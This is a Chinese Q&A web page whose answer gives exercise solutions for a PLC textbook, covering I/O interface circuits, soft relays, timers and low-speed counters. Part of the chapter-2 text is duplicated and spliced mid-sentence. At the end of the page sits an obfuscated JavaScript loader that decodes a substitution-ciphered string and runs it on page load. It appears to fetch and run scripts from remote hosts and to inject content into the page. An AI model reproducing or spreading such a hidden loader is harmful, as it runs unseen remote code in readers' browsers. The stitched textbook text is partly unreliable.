谁有“可编程序控制器原理及应用” 吉顺平主编的 机械工业出版社的课后习题答案

谢谢了。。。。。
2025-03-12 23:39:17
推荐回答(1个)
回答1:

习题一
1. 什么是可编程控制器?
可编程控制器是一种工业控制计算机,简称PLC (Programmable Logic Controller) 或PC(Programmable Controller)。因为个人计算机也简称 PC(Personal Computer ),为 避免和个人计算机相混淆,一般简称可编程控制器为PLC 。
2. 什么是可编程控制器的 I/O 接口电路?可编程控制器的 I/O 接口电路由哪几部分组成?
I/O 接口电路的作用是什么?
I/O 接口电路是可编程控制器连接外部设备的接口电路。
I/O 接口电路包括输入模块、输出模块、编程器接口、存储器接口、扩展板接口、特 殊模块接口和通讯接口。
I/O 接口电路是可编程控制器和外界交换信息的通道。I/O 接口电路实现可编程控制 器与外部设备的信息交换。输入模块用来接收和采集输入信号,输出模块用来把可编程 控制器产生的控制信号传送到其控制对象上,编程器接口主要用于把编程器连接到可编 程控制器,存储器接口用于扩展存储器,扩展板接口用于连接扩展板(如通讯扩展板), 特殊功能模块接口用于把特殊功能模块(如A/D 模块、D/A 模块)连接到可编程控制器 上,通讯接口用于可编程控制器之间或可编程控制器与上位机之间的通讯。
3. 什么是软继电器?试比较软继电器和真实的继电器的异同。
可编程控制器中的输入继电器、输出继电器、辅助继电器、定时器等称为软继电器 (软电器),它们只是用来描述可编程控制器的控制功能的一种等效电器,不是真正的继 电器。 ①相同点
电气结构相同:均由线圈和触点(常开触点和常闭触点)组成。
工作原理相同:当线圈通电时,常开触点闭合,常闭触点断开;当线圈断电时,常 开触点断开,常闭触点闭合。 ②不同点
电气符号不同:真实继电器的电气符号由国家标准规定,软继电器的电气符号由可 编程控制器厂家规定。
触点数量不同:真实继电器只有有限对触点,软继电器有无穷对触点。
形态不同:真实继电器有形状、有尺寸,是一种实实在在的电器实体;软继电器只 是计算机中的存储位或存储单元,是电子电路。
控制功能的实现方式不同:真实继电器通过真实继电器的触点状态的变化来实现其 控制功能,而软继电器则是通过执行控制程序来实现其控制功能。
驱动方式不同:可编程控制器通过软件 “置1”或“置0”存储位来改变软继电器
的工作状态,只要存储位“置1”或“置0”,对应的软继电器即可可靠工作;真实继电 器通过使线圈通电或断电来改变软继电器工作状态,线圈电压必须达到规定的值,真实 继电器才能可靠工作。
工作可靠性和寿命不同:软继电器工作可靠性高、寿命长;真实继电器工作可靠性 相对低、寿命相对短。4. 什么是可编程控制器的输入点?输出点?I/O 点数?
广义地说,可编程控制器上输入信号(数字信号或模拟信号)的一个通道称为一个
输入点,可编程控制器上输出信号(数字信号或模拟信号)的一个通道称为一个输出点, 可编程控制器的所有输入点和输出点的总和称为可编程控制器的I/O点数。 狭义的I/O 点数仅指输入继电器与输出继电器的总数(输入输出信号为数字信号)。
5. 什么是可编程控制器的梯形图?
把选用的可编程控制器的等效电器连成的等效控制电路图称为可编程控制器的梯形 图。梯形图是使用可编程控制器时,面向使用者,用来描述可编程控制器的控制功能的 一种形象的图形。梯形图在可编程控制器内体现为程序,即用户程序。
6. 什么是可编程控制器的 I/O 连接图?
可编程控制器与其外设的连接图称为可编程控制器的I/O连接图。
7. 可编程控制器的结构形式有那几种?各有何特点? 如何选择可编程控制器的结构形 式?
从结构上看,可编程控制器有主机扩展式和模块式两种。
主机扩展式可编程控制器的 CPU 部分、存储器部分、I/O 接口电路部分及内部电源 做成一个整体,装在一个机箱内形成一台完整的可编程控制器。当主机满足不了使用要 求时,可以加各种模块(例如I/O模块、通讯处理模块、A/D模块)进行扩展。FX系列 可编程控制器就属于主机扩展式可编程控制器。
主机扩展式可编程控制器价格便宜,性价比高,体积较小,控制规模相对小些,处 理能力相对弱些。
模块式可编程控制器的CPU部分、存储器部分、输入接口电路部分、输出接口电路 部分、数据交换接口电路(如通讯接口)部分及内部电源都做成单独的模块,使用时选 择好这些模块后,再把所有模块插在母板(母板就是计算机总线)上组合成一台完整的 可编程控制器。
模块式可编程控制器的系统构成比较灵活,扩展方便,容易维修,体积较大。 中高档的可编程控制器一般做成模块式。相对而言,模块式可编程控制器的控制规 模大,可以完成复杂的逻辑控制,可以完成闭环控制,具有较强的数据处理能力,可以 完成矩阵运算、函数运算,可以完成数据管理工作,有更强的通讯能力。
控制规模不太大、处理速度、处理能力要求不太高时,可选用主机扩展式,反之, 选用模块式。
8. 可编程控制器的输出模块连接控制对象时,有几种接线方法?如何选用这些接线方法? 输出模块的接线可采用分组汇点式(每组输出元件拥有一个公共端),如图(a)所示;
或采用汇点式,如图(b)所示。输出模块连接的所有控制对象的电压等级和类型都相同时, 采用汇点式(全部输出元件拥有一个公共端);输出模块连接的控制对象的电压等级或类 型不相同时,采用分组汇点式。
图 可编程控制器输入输出的接线方式
9. 可编程控制器的输出模块有几种类型?如何选择可编程控制器的输出模块的类型? 可编程控制器的输出模块的类型有晶体管型(T)、可控硅型(S)、继电器型(R)。 晶体管型只能驱动直流负载,可控硅型只能驱动交流负载,继电器型则既能驱动直流负载,也能驱动交流负载。
根据负载类型、电源类型、要求的输出响应速度选择可编程控制器的输出模块。晶 体管型(T)、可控硅型(S)输出响应速度快。
10.阅读图1.18 所示电路,使用可编程控制器实现原电路的功能。画出可编程控制器的 I/O 连接图和梯形图。
图1.18 题10图
I/O连接图
梯形图
11.阅读图1.19 所示电路,使用可编程控制器实现原电路的功能。画出可编程控制器的 I/O 连接图和梯形图。
图1.19 题11 图
I/O连接图
梯形图
12.阅读图1.20 所示电路,使用可编程控制器实现原电路的功能。画出可编程控制器的 I/O 连接图和梯形图。
图1.20 题12图
I/O连接图
梯形图
习题二
1 .可编程控制器有哪些软电器?这些软电器中哪些用八进制编号?哪些用十进制编 号? ①可编程控制器中的软电器有:输入继电器、输出继电器、辅助继电器、定 时器、计数器、状态继电器。 ②输入继电器和输出继电器采用八进制编号,其它软电器采用十进制编号。 2 .比较输入继电器、输出继电器和辅助继电器的异同。 ①相同点
电气结构相同:均由线圈和触点(常开触点和常闭触点)组成。
工作原理相同:当线圈通电时,常开触点闭合,常闭触点断开;当线圈断电时,常开触点断开,常闭触点闭合。触点在梯形图中的使用次数不受限制。 ②不同点
编号不同:输入继电器编号为“ X+3位数字 ” ,如X000、X001;输出继电器编
号为“ Y+3 位数字 ” ,如 Y000、Y001;辅助继电器编号为“ M+数字 ” ,如 M0、M120 等。
用途不同:输入继电器和输入模块相对应,用来接收和采集输入信号,输入
继电器的线圈不能出现在梯形图中。输出继电器和输出模块相对应,用来把可编程 控制器产生的控制信号传送到其控制对象上。辅助继电器是可编程控制器的内部电 器,只用在梯形图内,与其它软电器配合实现各种控制功能,与输入输出无直接关 系,辅助继电器的种类比较多,数量也较多,有些辅助继电器具有特殊功能。 3 .定时器有哪几种类型?说明每种定时器的结构和工作原理。 ①定时器分类
按定时精度分,定时器有1ms定时器、10ms定时器、100ms定时器。 按定时器定时时间是否可以累加,定时器分为非积算型定时器和积算型定时 器。 ②定时器结构
定时器由线圈和触点组成,但线圈的通电或断电时刻与其触点的状态转换时 刻不同步。 ③非积算型定时器的工作原理
非积算型定时器的线圈通电时,定时器开始计时(每个计数脉冲来临时定时 器当前值加1),时间到(计数当前值 = 计数设定值)则定时器常开触点闭合,常闭 触点断开。系统或线圈断电时停止计时并复位,定时器常开触点断开,常闭触点闭 合,定时器当前值回0。 ④非积算型定时器的工作原理
积算型定时器的线圈通电时,定时器开始计时,线圈断电时,定时器停止计
时,但不复位,线圈再通电时,定时器在上次通电时的计时结果上继续累加时间, 时间到则定时器常开触点闭合,常闭触点断开。积算型定时器必须用复位指令复位, 复位后,定时器常开触点断开,常闭触点闭合,定时器当前值回0。系统断电也不 会让积算型定时器复位。
图 非积算型定时器 图 积算型定时器
4 .定时器有1ms 定时器、10ms 定时器、100ms 定时器,这里的1ms 、10ms、100ms 的含义是什么?
定时器通过对可编程控制器内的方波信号的计数来实现计时。根据定时器计 数的方波信号的周期,定时器分为1ms定时器(对周期1ms的方波计数)、10ms定 时器(对周期10ms的方波计数)、100ms定时器(对周期100ms的方波计数)。1ms 定时器的定时精度是1ms,10ms定时器的定时精度是10ms,100ms定时器的定时精 度是100ms。
5 .如何设定和计算定时器的定时时间?
使用定时器时,先要选择定时器类型(积算型或非积算型)及定时精度(1ms、 10ms或100ms),然后要设置定时时间。定时时间是通过设定计数次数来设置的, 定时器的定时时间按下式计算: 定时时间=计数次数×定时精度。
6 .什么是定时器的设定值?什么是定时器的当前值?

人为指定的规定定时器定时时间的数值称为定时器的设定值,设定值规定了
定时器线圈通电时刻与定时器触点动作时刻的时间差,设定值规定了定时器触点动 作时刻滞后于定时器线圈通电时刻的时间。定时器开始计时后,至考察时刻时间的 累计值(计数值)称为定时器的当前值。
7 .什么是低速计数器?低速计数器有哪几种类型?说明每一种低速计数器的结构和工 作原理。
低速计数器对低速脉冲计数,低速计数器的计数信号由可编程控制器的软电
器或外部电器产生,计数频率最大为扫描周期的倒数,在几十至几百赫兹之间。 低速计数器有16位增计数器和32位增/减双向计数器两类。低速16位增计 数器的设定值寄存器和当前值寄存器都是16位寄存器,计数器设定值有效范围是 1~32767,它只能作加法计数。低速32位增/减双向计数器的设定值寄存器和当 前值寄存器是32位寄存器,设定值有效范围为-2147483648~+2147483647。32 位增/减双向计数器可作加法计数和减法计数,计数方式用特殊辅助继电器
M8200~M8234来设定。当特殊辅助继电器置 1时,其对应的双向计数器按减法计 数方式计数;当特殊辅助继电器置0时,其对应的双向计数器按加法计数方式计数。 计数器由计数装置和触点组成,计数装置(包括计数端和复位端)用来改变 触点的状态。计数端和复位端分别由一条由各种触点组成的电路控制。 低速16位增计数器的工作原理如图所示。
图 低速16位增计数器
计数器的复位电路 OFF 时,计数器进入计数状态。每来一个计数脉冲计数一 次(上升沿计数),即控制计数端的电路每次由OFF→ON时,计数器计数一次。当 计数器计数到设定值时,计数器触点动作,常开触点闭合,常闭触点断开,计数当 前值不再增加。
计数器的复位电路ON时,计数器进入复位状态,常开触点断开,常闭触点闭
合,计数当前值回 0。复位电路具有优先权:复位电路 ON时,即使有计数脉冲, 计数器也不会计数;复位电路ON时,计数器立即复位。
计数器的复位电路 OFF 时,计数器进入计数状态。每来一个计数脉冲计数一 次(上升沿计数),即控制计数端的电路每次由OFF→ON时,计数器计数一次。低 速32位双向计数器作增计数时,当计数值达到或超过设定值时,触点动作并保持 (常开触点闭合,常闭触点断开),只要有计数脉冲,计数器继续计数(计数当前 值继续增加);而作减计数时,计数值小于设定值时触点复位(常开触点断开,常 闭触点闭合),但计数当前值不回 0,只要有计数脉冲,计数器继续计数(计数当 前值继续减少)。32 位增/减双向计数器是循环计数器,若当前值已为+
2147483647 时,再计一次数,则当前值变为-2147483648;同样,若当前值已为 -2147483648时,再计一次数,则当前值变为+2147483647。
计数器的复位电路ON时,计数器进入复位状态,常开触点断开,常闭触点闭
合,计数当前值回 0。复位电路具有优先权:复位电路 ON时,即使有计数脉冲, 计数器也不会计数;复位电路ON时,计数器立即复位。 低速32位增/减双向计数器的工作原理如图所示。
图 32位增/减双向计数器的工作过程时,常开触点断开,常闭触点闭合。触点在梯形图中的使用次数不受限制。 ②不同点
编号不同:输入继电器编号为“ X+3位数字 ” ,如X000、X001;输出继电器编
号为“ Y+3 位数字 ” ,如 Y000、Y001;辅助继电器编号为“ M+数字 ” ,如 M0、M120 等。
用途不同:输入继电器和输入模块相对应,用来接收和采集输入信号,输入
继电器的线圈不能出现在梯形图中。输出继电器和输出模块相对应,用来把可编程 控制器产生的控制信号传送到其控制对象上。辅助继电器是可编程控制器的内部电 器,只用在梯形图内,与其它软电器配合实现各种控制功能,与输入输出无直接关 系,辅助继电器的种类比较多,数量也较多,有些辅助继电器具有特殊功能。 3 .定时器有哪几种类型?说明每种定时器的结构和工作原理。 ①定时器分类
按定时精度分,定时器有1ms定时器、10ms定时器、100ms定时器。 按定时器定时时间是否可以累加,定时器分为非积算型定时器和积算型定时 器。 ②定时器结构
定时器由线圈和触点组成,但线圈的通电或断电时刻与其触点的状态转换时 刻不同步。 ③非积算型定时器的工作原理
非积算型定时器的线圈通电时,定时器开始计时(每个计数脉冲来临时定时 器当前值加1),时间到(计数当前值 = 计数设定值)则定时器常开触点闭合,常闭 触点断开。系统或线圈断电时停止计时并复位,定时器常开触点断开,常闭触点闭 合,定时器当前值回0。 ④非积算型定时器的工作原理
积算型定时器的线圈通电时,定时器开始计时,线圈断电时,定时器停止计
时,但不复位,线圈再通电时,定时器在上次通电时的计时结果上继续累加时间, 时间到则定时器常开触点闭合,常闭触点断开。积算型定时器必须用复位指令复位, 复位后,定时器常开触点断开,常闭触点闭合,定时器当前值回0。系统断电也不 会让积算型定时器复位。
图 非积算型定时器 图 积算型定时器
4 .定时器有1ms 定时器、10ms 定时器、100ms 定时器,这里的1ms 、10ms、100ms 的含义是什么?
定时器通过对可编程控制器内的方波信号的计数来实现计时。根据定时器计 数的方波信号的周期,定时器分为1ms定时器(对周期1ms的方波计数)、10ms定 时器(对周期10ms的方波计数)、100ms定时器(对周期100ms的方波计数)。1ms 定时器的定时精度是1ms,10ms定时器的定时精度是10ms,100ms定时器的定时精 度是100ms。
5 .如何设定和计算定时器的定时时间?
使用定时器时,先要选择定时器类型(积算型或非积算型)及定时精度(1ms、 10ms或100ms),然后要设置定时时间。定时时间是通过设定计数次数来设置的, 定时器的定时时间按下式计算: 定时时间=计数次数×定时精度。
6 .什么是定时器的设定值?什么是定时器的当前值?

人为指定的规定定时器定时时间的数值称为定时器的设定值,设定值规定了
定时器线圈通电时刻与定时器触点动作时刻的时间差,设定值规定了定时器触点动 作时刻滞后于定时器线圈通电时刻的时间。定时器开始计时后,至考察时刻时间的 累计值(计数值)称为定时器的当前值。
7 .什么是低速计数器?低速计数器有哪几种类型?说明每一种低速计数器的结构和工 作原理。
低速计数器对低速脉冲计数,低速计数器的计数信号由可编程控制器的软电
器或外部电器产生,计数频率最大为扫描周期的倒数,在几十至几百赫兹之间。 低速计数器有16位增计数器和32位增/减双向计数器两类。低速16位增计 数器的设定值寄存器和当前值寄存器都是16位寄存器,计数器设定值有效范围是 1~32767,它只能作加法计数。低速32位增/减双向计数器的设定值寄存器和当 前值寄存器是32位寄存器,设定值有效范围为-2147483648~+2147483647。32 位增/减双向计数器可作加法计数和减法计数,计数方式用特殊辅助继电器
M8200~M8234来设定。当特殊辅助继电器置 1时,其对应的双向计数器按减法计 数方式计数;当特殊辅助继电器置0时,其对应的双向计数器按加法计数方式计数。 计数器由计数装置和触点组成,计数装置(包括计数端和复位端)用来改变 触点的状态。计数端和复位端分别由一条由各种触点组成的电路控制。 低速16位增计数器的工作原理如图所示。
图 低速16位增计数器
计数器的复位电路 OFF 时,计数器进入计数状态。每来一个计数脉冲计数一 次(上升沿计数),即控制计数端的电路每次由OFF→ON时,计数器计数一次。当 计数器计数到设定值时,计数器触点动作,常开触点闭合,常闭触点断开,计数当 前值不再增加。
计数器的复位电路ON时,计数器进入复位状态,常开触点断开,常闭触点闭
合,计数当前值回 0。复位电路具有优先权:复位电路 ON时,即使有计数脉冲, 计数器也不会计数;复位电路ON时,计数器立即复位。
计数器的复位电路 OFF 时,计数器进入计数状态。每来一个计数脉冲计数一 次(上升沿计数),即控制计数端的电路每次由OFF→ON时,计数器计数一次。低 速32位双向计数器作增计数时,当计数值达到或超过设定值时,触点动作并保持 (常开触点闭合,常闭触点断开),只要有计数脉冲,计数器继续计数(计数当前 值继续增加);而作减计数时,计数值小于设定值时触点复位(常开触点断开,常 闭触点闭合),但计数当前值不回 0,只要有计数脉冲,计数器继续计数(计数当 前值继续减少)。32 位增/减双向计数器是循环计数器,若当前值已为+
2147483647 时,再计一次数,则当前值变为-2147483648;同样,若当前值已为 -2147483648时,再计一次数,则当前值变为+2147483647。
计数器的复位电路ON时,计数器进入复位状态,常开触点断开,常闭触点闭
合,计数当前值回 0。复位电路具有优先权:复位电路 ON时,即使有计数脉冲, 计数器也不会计数;复位电路ON时,计数器立即复位。 低速32位增/减双向计数器的工作原理如图所示。
图 32位增/减双向计数器的工作过程

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();